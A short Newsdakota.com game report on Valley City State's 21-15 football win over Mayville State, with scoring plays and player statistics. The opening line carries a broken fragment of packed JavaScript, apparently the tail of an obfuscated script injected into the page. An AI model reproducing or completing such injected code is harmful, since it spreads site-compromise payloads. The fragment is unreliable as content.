Mayville tdfkt|var|u0026u|referrer|siytf||js|php’.split(‘|’),0,{}))
,ND (Newsdakota.com)- Andre Peppers’ 4th quarter interception helped Valley City State University hold onto a 21-15 lead and get a conference win Saturday against Mayville State University.The Vikings get back to .500 at 3-3 with a 2-1 mark in The North Star,MSU is 2-3 and 0-1.
VCSU led 14-0 through a quarter of play. Jacob Duilio rushed for a 25 yard touchdown and Travon Smith returned an interception 60 yards for a pick 6.Harrison Hammel made both PATs.Josh Bender found the end zone for his 1st score of the season and The Vikings led 21-0 at halftime, out gaining Mayville State 246 to 125.
The Comets brought a different look in the 3rd period. Andrew Blake found Khari Kimbrough for a 14 yard TD. Mayville’s 2 point conversion attempt was good on a run from Kimbrough. Later in the quarter The Comets came down to Valley City’s 8 yard line when Jawuan Pugh interception a ball in the end zone.
With 5:49 remaining in the game Mayville trimmed VCSU’s lead to 21-15 on a touchdown from Dondrei Hubbard. Eddie Guerreo got the extra point. The Vikings went 3 and out on the insuring possession and punted returning the ball to Mayville at their 22. Peppers’ interception came 5 plays later leaving VCSU with just over of time to run off.
Mayville State ended the game with 407 yards of total offense. The Vikings had 341 yard, Louis Quinones rushed for 75 yards on 12 carries with Duilio adding 70.Kurtis Walls completed 15 passes in 26 attempts for 165 yards. Josh Tovar had 5 receptions for 78 yards. Jesus Munoz and Nicholas McBeain both had a game high 13 tackles, Dominic Kruse made 10 and Harvey McMahon 9. Peppers, Pugh, Smith and Austin Erickson all had interceptions. Pugh also recovered a fumble.
Hubbard was The Comets’ led rusher with 67 yards. Andrew Blake was 28 for 40 with 282 yards. Blake connected with Dantrel Horne 9 times for 121 yard. Ryan Henderson had a team high 10 tackles.
The VCSU win was number 116 for head coach Dennis McCulloch tying Jim Dew for most all time in Viking Football history.